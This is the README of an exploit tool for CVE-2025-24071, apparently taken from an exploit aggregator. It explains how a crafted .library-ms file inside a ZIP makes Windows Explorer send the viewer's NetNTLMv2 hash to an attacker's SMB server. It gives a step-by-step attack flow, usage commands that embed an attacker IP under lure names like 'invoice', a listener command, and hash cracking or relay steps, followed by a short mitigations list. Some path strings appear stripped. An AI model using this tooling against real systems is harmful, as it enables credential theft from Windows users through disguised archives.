## https://sploitus.com/exploit?id=3B3221D2-B862-5A6A-A30D-C2E42334D44F
# CVE-2025-24071 — Windows File Explorer Spoofing / NTLM Hash Disclosure via .library-ms
> **⚠️ Disclaimer:** This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.
---
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [How It Works](#how-it-works)
- [Requirements](#requirements)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Mitigations](#mitigations)
- [Credits](#credits)
- [References](#references)
---
## Overview
**Windows File Explorer** automatically parses certain file types as soon as they appear in a folder view, without any user interaction such as double-clicking. Affected versions fail to properly validate `.library-ms` files, which can define a search connector pointing to an arbitrary remote SMB path.
When Explorer renders a folder containing a malicious `.library-ms` file (e.g. right after extracting a ZIP/RAR archive), it silently attempts to connect to the attacker-controlled UNC path to resolve the "library" location. This SMB connection attempt carries the victim's **NetNTLMv2 hash**, which an attacker capturing traffic on the specified host (e.g. with `impacket-smbserver` or Responder) can then try to crack offline or relay.
This repository contains a minimal, dependency-free rewrite of a public PoC generator for this vulnerability: it builds the malicious `.library-ms` file and packages it into a ZIP, using only the Python standard library.
---
## Vulnerability Details
| Field | Value |
|-------------|--------------------------------------------------------------|
| CVE | CVE-2025-24071 |
| Affected | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Type | Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) |
| Privileges | None (unauthenticated attacker; requires victim to view/extract the file) |
| Impact | NetNTLMv2 hash disclosure → offline cracking or NTLM relay |
| CVSS | 7.5 High (per GitHub Advisory Database) / 6.5 (MSRC base) |
| Patch | March 2025 Patch Tuesday cumulative updates |
---
## How It Works
A `.library-ms` file is an XML document that tells Windows Explorer to display the contents of a remote or local location as a "library". Its `` element can point to a UNC path (`\\\`).
In affected versions, Explorer resolves this location **as soon as the folder is displayed** — no double-click or explicit action is required beyond having the file visible in a folder view (for example, right after extracting an archive that contains it).
### Attack Requirements
1. Attacker controls a host reachable by the victim (or is on the same network) running an SMB listener (`impacket-smbserver`, Responder, etc.).
2. A malicious `.library-ms` file is generated, pointing to `\\\`.
3. The file is delivered to the victim, typically packaged inside a ZIP/RAR archive (this repo automates that packaging step).
4. The victim extracts the archive and views the folder in Explorer — no further interaction needed.
### Exploit Flow
```
1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\\
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
```
---
## Requirements
- Python 3.8+ (standard library only — `os`, `sys`, `argparse`, `zipfile`)
No third-party dependencies are needed to **generate** the payload. Capturing the hash requires an SMB listener such as Impacket (`impacket-smbserver`) or Responder on the attacker side.
---
## Installation
```bash
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
```
---
## Usage
```
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
```
---
## Examples
### Basic usage
```bash
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
```
This produces `invoice.zip`, containing `invoice.library-ms` pointing to `\\10.10.14.5\shared`.
### Start the listener before delivering the file
```bash
impacket-smbserver shared /tmp/smbshare -smb2support
```
### Custom share name and output directory
```bash
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
```
### List affected versions
```bash
python3 cve_2025_24071.py -a
```
---
## Mitigations
- **Apply** the March 2025 cumulative security update (or later) for your Windows version.
- **Restrict outbound SMB** (TCP 445) at the network perimeter to prevent NTLM hashes from leaking to external hosts.
- **Enforce SMB signing** and disable NTLM where possible in favor of Kerberos.
- **Scan uploaded/extracted archives** for `.library-ms` and similar auto-parsed file types before they reach end-user workstations.
---
## Credits
- **Vulnerability discovered & reported to Microsoft by:** Microsoft (credited via MSRC; original external reporter not publicly disclosed at time of writing)
- **Advisory published by:** Microsoft Security Response Center (MSRC)
- **Public PoC generator concept referenced from:** ThemeHackers
- **Standard-library rewrite:** Bardlaudian — dependency-free version of the ZIP/`.library-ms` generator, no new exploitation technique
---
## References
- [MSRC — CVE-2025-24071 Security Update Guide](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071)
- [NVD — CVE-2025-24071](https://nvd.nist.gov/vuln/detail/CVE-2025-24071)
- [CVE.org Record — CVE-2025-24071](https://vulners.com/cve/CVE-2025-24071)
- [GitHub Advisory Database — GHSA-mppc-8qxh-4wjw](https://github.com/advisories/GHSA-mppc-8qxh-4wjw)